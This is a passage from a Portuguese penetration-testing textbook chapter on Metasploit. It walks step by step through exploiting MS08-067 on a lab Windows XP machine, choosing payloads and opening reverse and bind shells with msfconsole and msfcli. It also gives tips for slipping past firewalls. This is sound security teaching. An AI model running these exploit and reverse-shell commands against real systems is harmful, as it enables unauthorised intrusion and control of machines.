125 capítulo 4 Utilizando o Metasploit Nos capítulos subsequentes, daremos uma olhada, em detalhes, nas fases do teste de invasão; porém, neste capítulo, vamos mergulhar de cabeça e adquirir um pouco de experiência prática em exploração de falhas. Embora as fases de coleta de informações e de reconhecimento, com frequência, exerçam mais influência no sucesso de um teste de invasão do que a exploração de falhas, é mais divertido obter shells (uma conexão remota com um alvo explorado) ou enganar os usuários de modo que eles insiram as credenciais da empresa em seu site clonado. Neste capítulo trabalharemos com o Metasploit, uma ferramenta que se tornou um padrão de mercado para os pentesters. Disponibilizado inicialmente em 2003, o Metasploit conquistou status de cult na comunidade de segurança. Embora, atualmente, o Metasploit seja propriedade da empresa de segurança Rapid7, uma edição de código aberto continua disponível, com o desenvolvimento amplamente direcionado pela comunidade de segurança. A arquitetura modular e flexível do Metasploit ajuda os desenvolvedores a criarem exploits funcionais de maneira eficiente à medida que novas vulnerabilidades são descobertas. Como você verá, o Metasploit é intuitivo e fácil de usar, além de oferecer um modo centralizado de executar códigos de exploits confiáveis, cuja precisão já tenha sido garantida pela comunidade de segurança. Por que usar o Metasploit? Suponha que você tenha descoberto uma vulnera- bilidade no ambiente de seu cliente – o sistema Windows XP em 192.168.20.10 não contém o boletim de segurança MS08-067da Microsoft. Como pentester, cabe a você explorar essa vulnerabilidade, se possível, e avaliar o risco de um comprometimento. Uma abordagem poderia ser instalar um sistema Windows XP em seu labora- tório, que também tenha esse patch ausente, tentar detectar a vulnerabilidade e desenvolver um exploit funcional. No entanto desenvolver exploits manualmente
Testes de invasão126 exige tempo e habilidade, e a janela de oportunidade para o seu teste de invasão pode estar se fechando. Em vez de fazer isso, você poderia pesquisar códigos na Internet que explo- rem essa vulnerabilidade. Sites como o Packet Storm Security (http://www. packetstormsecurity.com/), o SecurityFocus (http://www.securityfocus.com/) e o Exploit Database (http://www.exploit-db.com/) disponibilizam repositórios com códigos para exploit conhecidos. Entretanto considere-se avisado: nem todos os código públicos de exploit fazem o que ele dizem que fazem. Alguns códigos de exploit podem destruir o sistema-alvo ou até mesmo atacar o seu sistema, em vez de atacar o alvo. Permaneça sempre vigilante ao executar qualquer código que você encontrar online e leia o código cuidadosamente antes de confiar nele. Além do mais, os exploits públicos que você encontrar podem não atender diretamente às suas necessidades. Pode ser necessário realizar algum trabalho adicional para portá-los ao seu ambiente de teste de invasão. Independentemente de desenvolvermos um exploit desde o início ou de usarmos um exploit público como base, continua sendo necessário fazer esse exploit fun- cionar em seu teste de invasão. Nosso tempo provavelmente será melhor empre- gado em tarefas que sejam difíceis de automatizar e, felizmente, podemos usar o Metasploit para fazer com que explorar vulnerabilidades conhecidas, como o MS08-067, seja rápido e descomplicado. Iniciando o Metasploit Vamos iniciar o Metasploit e atacar o nosso primeiro sistema. No Kali Linux, o Metasploit está em nosso path, portanto podemos iniciá-lo de qualquer ponto do sistema. No entanto, antes de iniciar o Metasploit, você deve iniciar o banco de dados PostgreSQL, que será usado pelo Metasploit para monitorar o que você fizer. root@kali:~# service postgresql start Agora você está pronto para iniciar o serviço Metasploit. Esse comando cria um usuário PostgreSQL chamado msf3 e um banco de dados correspondente para armazenar os nossos dados. Ele também inicia o servidor RPC (Remote Procedure Call, ou Chamada de procedimento remoto) e o servidor web do Metasploit. root@kali:~# service metasploit start Há diversas interfaces para usar o Metasploit. Neste capítulo, usaremos o Msfconsole, que é o console do Metasploit baseado em texto, e o Msfcli, que é a interface de linha de comando. Qualquer uma das interfaces pode ser usada
127Capítulo 4 ■ Utilizando o Metasploit para executar os módulos do Metasploit, embora eu tenha a tendência de passar a maior parte do meu tempo no Msfconsole. Inicie o console digitando msfconsole. root@kali:~# msfconsole Não se preocupe se parecer que o Msfconsole está travado durante um ou dois minutos; ele estará carregando a árvore de módulos do Metasploit. Depois que ele tiver concluído, você será saudado com algum tipo de arte inteligente em ASCII, uma listagem da versão e outros detalhes, além de um prompt msf > (veja a listagem 4.1). Listagem 4.1 – Iniciando o Msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| Large pentest? List, sort, group, tag and search your hosts and services in Metasploit Pro -- type 'go_pro' to launch it now. =[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0] + -- --=[ 1246 exploits - 678 auxiliary - 198 post + -- --=[ 324 payloads - 32 encoders - 8 nops msf > Observe na listagem 4.1 que, na época desta publicação, o Metasploit tinha 1.246 exploits, 678 módulos auxiliares e assim por diante. Não há dúvidas de que na época em que você estiver lendo este livro, esses números serão ainda mais altos. Novos módulos estão sempre sendo adicionados ao Metasploit e, pelo fato de o Metasploit ser um projeto conduzido pela comunidade, qualquer pessoa pode submeter módulos para serem incluídos no Metasploit Framework. (Com efei- to, no capítulo 19, você aprenderá a criar seus próprios módulos e conquistar a imortalidade como um autor do Metasploit.) Se, em algum momento, você não souber o que fazer quando estiver usando o Msfconsole, digite help para obter uma lista dos comandos disponíveis e uma descrição do que eles fazem. Para ver informações mais detalhadas sobre um comando específico, incluindo o seu uso, digite help <nome do comando>.
Testes de invasão128 Por exemplo, as informações de ajuda para utilizar o comando route do Metasploit estão sendo mostradas na listagem 4.2. Listagem 4.2 – Informações de ajuda no Metasploit msf > help route Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local... Encontrando módulos no Metasploit Vamos dar uma olhada em como podemos usar o Metasploit para explorar uma vulnerabilidade que não tenha sido corrigida em nosso alvo Windows XP. Iremos explorar a vulnerabilidade corrigida no Microsoft Security Bulletin MS08-067. Uma pergunta que você poderá fazer naturalmente é: como sabemos que esse patch está ausente em nosso alvo Windows XP? Nos capítulos subsequentes, descreveremos os passos para identificar essa vulnerabilidade, bem como várias outras em nossos sistemas-alvo. Por enquanto, simplesmente confie em mim e acredite que essa é a vulnerabilidade que queremos explorar. O MS08-067 corrigiu um problema em netapi32.dll, que permitia que os invasores usassem uma solicitação de chamada de procedimento remoto implementada de forma especial, por meio do serviço SMB (Server Message Block, ou Bloco de mensagens de servidor) para assumir o controle de um sistema-alvo. Essa vul- nerabilidade é particularmente perigosa, pois ela não exige que um invasor se autentique no computador-alvo antes que o ataque seja realizado. O MS08-067 se tornou eternamente infame, ganhando notoriedade como a vulnerabilidade explorada pelo worm Conficker, amplamente divulgado na mídia. Agora, se você estiver familiarizado com os patches do Windows, poderá reconhe- cer que esse é de 2008. Considerando a sua idade, você poderá ficar surpreso em saber com que frequência a vulnerabilidade que ela corrige ainda pode resultar em sucesso em um teste de invasão, mesmo nos dias de hoje, particularmente quando fazemos avaliações em redes internas. O módulo MS08-067 do Metasploit é fácil de usar e tem uma alta taxa de sucesso, tornando-o ideal para um primeiro exemplo. Nosso primeiro passo consiste em usar o Metasploit para encontrar um módulo que explore essa vulnerabilidade em particular. Temos algumas opções. Normalmente, uma pesquisa simples no Google resultará no que você
129Capítulo 4 ■ Utilizando o Metasploit precisa, porém o Metasploit também tem um banco de dados online de módulos (http://www.rapid7.com/db/modules/) e uma função de pesquisa embutida que pode ser usada para procurar os módulos corretos. Banco de dados de módulos A página de pesquisa do Metasploit pode ser usada para efetuar a correspon- dência entre módulos do Metasploit e as vulnerabilidades por meio do número CVE (Common Vulnerabilities and Exposures, ou Vulnerabilidades e Exposições Comuns), do OSVDB (Open Sourced Vulnerability Database) ID, do Bugtraq ID ou do Microsoft Security Bulletin, ou você pode pesquisar o texto completo das informações do módulo à procura de uma string. Procure MS08-067 no campo de ID do Microsoft Security Bulletin, como mostrado na figura 4.1. Figura 4.1 – Pesquisando o Metasploit Auxiliary Module & Exploit Database (Banco de dados de módulos auxiliares & exploits do Metasploit). O resultado da pesquisa, mostrado na figura 4.2, informa o nome do módulo de que precisamos, além de apresentar informações sobre o módulo (que serão discutidas na próxima seção). Figura 4.2 – Página do módulo MS08-067 no Metasploit.
Testes de invasão130 O nome completo do módulo do Metasploit para o boletim de segurança MS08-067 está sendo mostrado na barra de URI. No diretório de módulos do Metasploit, esse exploit corresponde ao exploit/windows/smb/ms08_067_netapi. Pesquisa embutida Você também pode usar a função de pesquisa embutida no Metasploit para en- contrar o nome correto do módulo, conforme mostrado na listagem 4.3. Listagem 4.3 – Procurando um módulo no Metasploit msf > search ms08-067 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption Novamente, descobrimos que o nome correto do módulo para essa vulnerabi- lidade é exploit/windows/smb/ms08_067_netapi. Após ter identificado um módulo a ser usado, digite o comando info com o nome do módulo, conforme mostrado na listagem 4.4. Listagem 4.4 – Listagem de informações no Metasploit msf > info exploit/windows/smb/ms08_067_netapi Name: Microsoft Server Service Relative Path Stack Corruption Module: exploit/windows/smb/ms08_067_netapi Version: 0 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Rank: Great Available targets: Id Name -- ----
131Capítulo 4 ■ Utilizando o Metasploit 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal --trecho omitido-- 67 Windows 2003 SP2 Spanish (NX) Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload information: Space: 400 Avoid: 8 characters Description: This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development. References: http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx Essa página disponibiliza muitas informações. • Inicialmente, vemos algumas informações básicas sobre o módulo, incluindo um nome descritivo em , seguido do nome do módulo em . (O campo de versão antigamente indicava a revisão SVN do módulo, mas agora que o Metasploit está hospedado no GitHub, os módulos estão definidos com a versão 0.) • Platform informa que esse é um exploit para sistemas Windows. • Privileged informa se esse módulo exige ou concede privilégios elevados no alvo. License é definido com Metasploit Framework License (BSD). (A licença do Metasploit é uma licença BSD de três cláusulas para código aberto.)
Testes de invasão132 • Rank lista o potencial impacto do exploit no alvo. Os exploits são classifi- cados de modo que variam de manual a excelente. Um exploit classificado como excelente jamais deve fazer um serviço falhar; as vulnerabilidades que fazem a memória ser corrompida, como o MS08-067, normalmente não se encontram nessa categoria. Nosso módulo está na categoria ótimo (great), um nível abaixo. Um exploit ótimo consegue detectar o alvo correto automaticamente e contém outros recursos que fazem com que sua chance de sucesso seja alta. • Available targets lista as versões de sistemas operacionais e os níveis de patch que o módulo pode explorar. Esse módulo apresenta 67 alvos pos- síveis, incluindo o Windows 2000, o Windows 2003 e o Windows XP, bem como diversos serviços e pacotes de linguagem. • Basic options lista diversas opções do módulo que podem ser configu- radas para que um módulo possa atender melhor às nossas necessidades. Por exemplo, a opção RHOST informa o endereço IP do alvo ao Metasploit. (Discutiremos as opções básicas com detalhes em “Configurando as opções do módulo” na página 133.) • Payload information contém informações que ajudam o Metasploit a de- cidir quais payloads podem ser usados com esse exploit. Os payloads, ou shellcode, determinam o que o sistema explorado deve fazer em nome do invasor. (O objetivo de atacar um alvo, é claro, é fazer com que ele execute algo que não deveria fazer para nós.) O sistema de payloads do Metasploit oferece diversas opções para o que queremos que o alvo faça. • Description inclui mais detalhes sobre a vulnerabilidade em particular explorada pelo módulo. • References contém um link para entradas em bancos de dados online de vulnerabilidades. Se, em algum momento, você estiver em dúvida sobre qual módulo do Metasploit deve usar para uma vulnerabilidade, comece pela sua página de informações. Após ter confirmado que esse é o módulo correto, diga ao Metasploit para usá- -lo por meio do comando use windows/smb/ms08_067_netapi. Você pode ignorar a parte exploit/ do nome do exploit; o Metasploit descobrirá o que você quer. msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > Agora estamos no contexto do módulo para o exploit.
133Capítulo 4 ■ Utilizando o Metasploit Configurando as opções do módulo Após termos escolhido o nosso exploit, devemos fornecer algumas informações ao Metasploit. Como você verá ao longo deste livro, o Metasploit pode ajudar você em diversos aspectos do teste de invasão, porém ele não lê a sua mente... ainda. Para ver as informações que você precisa fornecer ao Metasploit para que ele execute o módulo selecionado, digite show options (Listagem 4.5). Listagem 4.5 – Opções do módulo para o exploit msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > Na parte superior da saída mostrada na listagem 4.5, encontram-se as configurações do módulo e qualquer valor default, se determinadas configurações são necessárias para que o módulo seja executado com sucesso e uma descrição de cada configuração. RHOST A opção RHOST refere-se ao host remoto que queremos explorar. Essa opção é necessária porque fornece um alvo para o Metasploit atacar. Diremos ao Metasploit para explorar a máquina-alvo Windows XP que configuramos no capítulo 1 ao alterar a opção RHOST que estava em branco para o endereço IP de nosso alvo. (Se você não se lembrar desse endereço, na máquina Windows XP, execute ipconfig na linha de comando para descobrir.) Para configurar uma opção, digite set <opção a ser configurada> <valor a ser atribuído>, portanto, neste caso, set RHOST 192.168.20.10. (Lembre-se de usar o endereço IP de seu próprio alvo Windows XP.) Depois de dar esse comando, a execução de show options novamente deverá mostrar que o valor de RHOST está configurado com 192.168.20.10.
Testes de invasão134 RPORT RPORT refere-se à porta remota a ser atacada. Lembro-me de um ex-gerente meu que passou um bom tempo procurando a porta 80 – tentando localizá-la fisica- mente. Insatisfeito com minha explicação de que os sockets de rede são totalmente constituídos de código, acabei simplesmente lhe mostrando a porta Ethernet. Moral dessa história: uma porta é somente um socket de rede; não é uma porta física. Por exemplo, ao navegar para www.google.com, um servidor web em algum lugar na Internet estará ouvindo a porta 80. Neste caso, vemos que RPORT está configurado com um valor default. Como o nosso exploit utiliza o serviço Windows SMB, o valor de RPORT provavelmente deverá ser 445, que é a porta default do SMB. E, como você pode ver, o Metasploit nos poupa o trabalho de ter de configurar o valor ao definir o default com 445 (que pode ser alte- rado, caso seja necessário). Em nosso caso, podemos simplesmente deixar como está. SMBPIPE Assim como foi feito com o valor de RPORT, mantenha o default para a opção SMBPIPE como BROWSER. Isso funcionará adequadamente para os nossos propósitos. (Os pipes SMB permitem efetuar comunicação entre processos no Windows, por meio de uma rede.) Daremos uma olhada em como descobrir quais pipes SMB estão ouvindo em nossas máquinas-alvo posteriormente neste capítulo. Exploit Target Exploit Target está definido com 0 Automatic Targeting . Essa informação corres- ponde ao sistema operacional e à versão do alvo. Você pode visualizar os alvos disponíveis na página de informações do módulo ou pode simplesmente mostrá- -los por meio do comando show targets (Listagem 4.6). Listagem 4.6 – Alvos que podem ser explorados msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting
135Capítulo 4 ■ Utilizando o Metasploit 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (AlwaysOn NX) 4 Windows XP SP2 English (NX) 5 Windows XP SP3 English (AlwaysOn NX) --trecho omitido-- 67 Windows 2003 SP2 Spanish (NX) Como você pode observar na listagem 4.6, esse módulo pode atacar o Windows 2000, o Windows 2003 e o Windows XP. N O T A Lembre-se de que a Microsoft disponibilizou patches para todas as plataformas afetadas por esse bug, porém, quando se trata de manter todos os sistemas de um ambiente atualizados com patches do Windows, é mais fácil falar do que fazer. Muitos de seus clientes de testes de invasão não terão algumas atualizações críticas do Windows e de outros softwares. Sabemos que o nosso alvo está executando o Windows XP SP3 em inglês, portanto podemos apostar que o número correto do alvo será 5 ou 6, porém nem sempre será tão fácil assim. Selecione Automatic Targeting para dizer ao Metasploit para identificar o serviço SMB e selecionar o alvo adequado de acordo com o resultado. Para definir uma opção para o alvo, digite set target <número do alvo>. Neste caso, deixaremos o alvo do módulo com o default igual a Automatic Targeting e prosse- guiremos. Payloads (ou Shellcode) De acordo com a saída do comando show options, parece que tudo está pronto a essa altura, porém ainda não terminamos. Esquecemos de dizer ao nosso exploit o que deve ser feito depois que o alvo for explorado. Uma das maneiras pelas quais o Metasploit facilita a situação é por meio da configuração dos payloads para nós. O Metasploit contém uma grande variedade de payloads, que variam de comandos Windows simples ao Metasploit Meterpreter extensível (veja o capítulo 13 para obter informações mais detalhadas sobre o Meterpreter). Basta selecio- nar um payload compatível, e o Metasploit irá compor a sua string de exploit, incluindo o código para acionar a vulnerabilidade e o payload a ser executado após a exploração ter sido bem-sucedida. (Daremos uma olhada em como criar exploits manualmente nos capítulos de 16 a 19.)
Testes de invasão136 Encontrando payloads compatíveis Na época desta publicação, havia 324 payloads no Metasploit e, assim como os módulos de exploit, novos payloads são adicionados regularmente ao framework. Por exemplo, à medida que as plataformas móveis se espalham pelo mundo, os payloads para o iOS e outros smartphones estão começando a aparecer no Metasploit. É claro, porém, que nem todos os 324 payloads são compatíveis com o exploit que escolhemos. Nosso sistema Windows ficará um pouco confuso se receber instruções que sejam destinadas a um iPhone. Para ver os payloads com- patíveis, digite show payloads, como mostrado na listagem 4.7. Listagem 4.7 – Payloads compatíveis msf exploit(ms08_067_netapi) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/custom normal Custom Payload generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse Inline generic/tight_loop normal Generic x86 Tight Loop windows/dllinject/bind_ipv6_tcp normal Reflective DLL Injection, Bind TCP Stager (IPv6) windows/dllinject/bind_nonx_tcp normal Reflective DLL Injection, Bind TCP Stager (No NX or Win7) windows/dllinject/bind_tcp normal Reflective DLL Injection, Bind TCP Stager windows/dllinject/reverse_http normal Reflective DLL Injection, Reverse HTTP Stager --trecho omitido-- windows/vncinject/reverse_ipv6_http normal VNC Server (Reflective Injection), Reverse HTTP Stager (IPv6) windows/vncinject/reverse_ipv6_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (IPv6) --trecho omitido-- windows/vncinject/reverse_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager windows/vncinject/reverse_tcp_allports normal VNC Server (Reflective Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns normal VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
137Capítulo 4 ■ Utilizando o Metasploit Se você se esquecer de definir um payload, poderá descobrir que, miraculosa- mente, o módulo de exploit irá simplesmente escolher o payload default e as configurações associadas, e irá executá-lo, de qualquer modo. Apesar disso, você deve adquirir o hábito de definir manualmente um payload e suas opções porque o default nem sempre atenderá às suas necessidades. Execução de teste Vamos manter a simplicidade e enviar o nosso exploit inicialmente com as opções default do payload, apenas para ver como tudo funciona. Digite exploit para dizer ao Metasploit para executar o módulo, conforme mostrado na listagem 4.8. Listagem 4.8 – Executando o exploit msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.20.9:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 3 - lang:English [*] Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.20.10 [*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at 2015-08-31 07:37:05 -0400 meterpreter > Como você pode ver, acabamos com uma sessão do Meterpreter. Meterpreter é a abreviatura de meta-interpreter (metainterpretador), o payload exclusivo do Metasploit. Com frequência, eu o descrevo como um shell com esteroides. Ele pode fazer tudo o que um shell de comandos faz e muito, muito mais. Discutiremos o Meterpreter em detalhes no capítulo 13, porém, para uma introdução, digite help no console do Meterpreter para obter uma lista de seus comandos. N O T A Outro aspecto a ser observado a respeito das opções default é que o Metasploit utiliza a porta 4444. Em nosso laboratório, não há nada de errado com essa configuração. Ela funcionará adequadamente. No entanto, em testes de invasão reais, se o seu cliente estiver usando softwares até mesmo primitivos de prevenção contra invasão, eles poderão perceber o tráfego na porta 4444 e dirão: “Ei, você é o Metasploit, caia fora!”, e sua conexão será encerrada.
Testes de invasão138 Por enquanto, vamos fechar nossa sessão do Meterpreter e aprender mais a respeito da seleção manual de payloads. Embora o Meterpreter seja útil, você poderá se ver em situações em que ele não será o payload ideal para atender às suas neces- sidades. Digite exit no prompt do Meterpreter para retornar ao console normal do Metasploit. meterpreter > exit [*] Shutting down Meterpreter... [*] Meterpreter session 1 closed. Reason: User exit msf exploit(ms08_067_netapi) > Tipos de shell Na lista de payloads compatíveis apresentada na listagem 4.7, podemos ver uma variedade de opções que incluem shells de comando, o Meterpreter, uma API de voz ou a execução de um único comando Windows. O Meterpreter ou os shells são classificados em duas categorias: bind e reverse. Bind Shells Um bind shell instrui o computador-alvo a abrir um shell de comandos e a ficar ouvindo uma porta local. O computador de ataque então se conecta ao compu- tador-alvo por meio da porta que estiver ouvindo. Entretanto, com o advento dos firewalls, a eficiência dos bind shells diminuiu, pois qualquer firewall configurado corretamente bloqueará o tráfego em uma porta aleatória como 4444. Reverse Shells Um reverse shell (shell reverso), por outro lado, força uma conexão de volta ao computador de ataque, em vez de esperar uma conexão de entrada. Nesse caso, em nosso computador de ataque, abrimos uma porta local e ficamos ouvindo à espera de uma conexão feita a partir de nosso alvo porque é mais provável que essa conexão reversa consiga passar por um firewall. N O T A Você pode estar pensando: “Por acaso este livro foi escrito em 2002 ou algo assim? Meu firewall tem filtro de saída.” Os firewalls modernos permitem interromper conexões de saída, bem como as de entrada. Seria trivial impedir que um host de seu ambiente se conectasse, por exemplo, com a
139Capítulo 4 ■ Utilizando o Metasploit porta 4444. Entretanto suponha que eu tenha configurado meu listener na porta 80 ou na porta 443. Para um firewall, isso parecerá ser tráfego web, e você sabe que deve deixar que seus usuários deem uma olhada no Facebook a partir de suas estações de trabalho, ou haverá revolta e pandemônio por todos os lados. Definindo um payload manualmente Vamos selecionar um reverse shell Windows como o nosso payload. Con- figure um payload da mesma maneira que a opção RHOST foi definida: set payload <payload a ser usado>. msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp payload => windows/shell_reverse_tcp Como esse é um reverse shell, devemos informar ao alvo o local para onde ele deverá enviar o shell; especificamente, precisamos fornecer-lhe o endereço IP do computador de ataque e a porta que ficaremos ouvindo. A execução de show options novamente, conforme mostrado na listagem 4.9, exibe as opções do módulo, bem como as do payload. Listagem 4.9 – Opções do módulo com um payload msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.20.10 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Targeting
Testes de invasão140 LHOST corresponde ao nosso host local no computador Kali, ou seja, o endere- ço IP com o qual queremos que a nossa máquina-alvo se conecte de volta. Para descobrir o endereço IP (caso você o tenha esquecido), digite o comando Linux ifconfig diretamente no Msfconsole. msf exploit(ms08_067_netapi) > ifconfig [*] exec: ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:0e:8f:11 inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0 --trecho omitido-- Agora configure a opção LHOST com set LHOST 192.168.20.9. Deixe os valores defaults para LPORT, que é a porta local com a qual será efetuada a conexão de volta, bem como para EXITFUNC, que informa ao Metasploit como será a saída. Agora digite exploit, como mostrado na listagem 4.10, para enviar o nosso exploit novamente e espere o shell aparecer. Listagem 4.10 – Executando o exploit msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.20.9:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 3 - lang:English [*] Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Command shell session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1374) at 2015-08-31 10:29:36 -0400 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> Parabéns: você explorou o seu primeiro computador com sucesso! Aqui está o que aconteceu. Quando digitamos exploit, o Metasploit abriu um listener na porta 4444 para capturar o reverse shell do alvo . Então, como man- tivemos o alvo com o default Automatic Targeting, o Metasploit identificou o servidor SMB remoto e selecionou o alvo apropriado para exploração por nós . Depois de ter selecionado o exploit, o Metasploit enviou a string de exploit e tentou assumir o controle do computador-alvo e executar o payload que selecionamos. Como o exploit foi bem-sucedido, um shell de comandos foi capturado pelo nosso handler.
141Capítulo 4 ■ Utilizando o Metasploit Para fechar esse shell, tecle Ctrl-C e digite y no prompt para abortar a sessão. C:\WINDOWS\system32>^C Abort session 2? [y/N] y [*] Command shell session 2 closed. Reason: User exit msf exploit(ms08_067_netapi) > Para retornar a um shell Meterpreter, você pode escolher um payload com Meterpreter no nome, por exemplo, windows/meterpreter/reverse_tcp, e pode explorar o alvo Windows XP novamente. Msfcli Aqui está outra maneira de interagir com o Metasploit: a interface de linha de comando Msfcli. O Msfcli é particularmente útil quando usamos o Metasploit em scripts e para testar os módulos do Metasploit que você estiver desenvolven- do, pois ele permite que um módulo seja executado por meio de um comando rápido, de uma só linha. Obtendo ajuda Para executar o Msfcli, inicialmente saia do Msfconsole digitando exit, ou simples- mente abra outro console Linux. O Msfcli está em nosso path, portanto podemos chamá-lo de qualquer lugar. Vamos começar dando uma olhada no menu de ajuda do Msfcli por meio do comando msfcli -h (Listagem 4.11). Listagem 4.11 – Ajuda do Msfcli root@kali:~# msfcli -h Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> [mode] ============================================================================== Mode Description ---- ----------- (A)dvanced Show available advanced options for this module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module (H)elp You're looking at it baby! (I)DS Evasion Show available ids evasion options for this module
Testes de invasão142 (O)ptions Show available options for this module (P)ayloads Show available payloads for this module (S)ummary Show information about this module (T)argets Show available targets for this exploit module De modo diferente do Msfconsole, ao usar o Msfcli, podemos dizer ao Metasploit tudo o que ele deve saber para executar o nosso exploit em apenas um comando . Felizmente, o Msfcli tem alguns modos de uso que nos ajudam a compor o comando final. Por exemplo, o modo O mostra as opções do módulo selecionado e P mostra os payloads compatíveis . Mostrando as opções Vamos usar o nosso exploit MS08-067 em nosso alvo Windows XP novamente. De acordo com a página de ajuda, devemos passar o nome do exploit que quere- mos usar ao Msfcli e configurar todas as nossas opções . Para exibir as opções disponíveis, utilize o modo O. Digite msfcli windows/smb/ms08_067_netapi O para ver as opções do módulo para o exploit MS08-067, como mostrado na listagem 4.12. Listagem 4.12 – Opções do módulo root@kali:~# msfcli windows/smb/ms08_067_netapi O [*] Please wait while we load the module tree... Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Vemos as mesmas opções que foram apresentadas no Msfconsole. Somos lem- brados de que devemos configurar a opção RHOST com o endereço IP do compu- tador-alvo, porém, como vimos na página de ajuda, a configuração das opções no Msfcli é um pouco diferente do modo como isso é feito no Msfconsole. Neste caso, fornecemos opção=valor. Por exemplo, para configurar RHOST, devemos digitar RHOST=192.168.20.10.
143Capítulo 4 ■ Utilizando o Metasploit Payloads Para recordarmos quais são os payloads compatíveis com esse módulo, utilize o modo P. Experimente usar msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P, como mostrado na listagem 4.13. Listagem 4.13 – Payloads para o módulo no Msfcli root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P [*] Please wait while we load the module tree... Compatible payloads =================== Name Description ---- ----------- generic/custom Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR. generic/debug_trap Generate a debug trap in the target process generic/shell_bind_tcp Listen for a connection and spawn a command shell generic/shell_reverse_tcp Connect back to attacker and spawn a command shell generic/tight_loop Generate a tight loop in the target process --trecho omitido-- Desta vez, usaremos um payload para um bind shell. Lembre-se de que um bind shell simplesmente fica ouvindo uma porta local no computador-alvo. Caberá ao nosso computador de ataque conectar-se ao computador-alvo após a execução do payload. Lembre-se de que, de acordo com o nosso trabalho no Msfconsole, a escolha de um payload exige opções adicionais específicas do payload, que podem ser visualizadas novamente por meio da flag O. Como nosso bind shell não chamará o nosso computador de ataque de volta, não é necessário configurar a opção LHOST, e podemos deixar a opção LPORT com o valor default igual a 4444, por enquanto. Parece que temos tudo de que precisamos para explorar o alvo Windows XP novamente. Por fim, para dizer ao Msfcli para executar o exploit, utilizamos a flag E (Listagem 4.14). Listagem 4.14 – Executando o exploit no Msfcli root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 PAYLOAD=windows/shell_ bind_tcp E [*] Please wait while we load the module tree... RHOST => 192.168.20.10
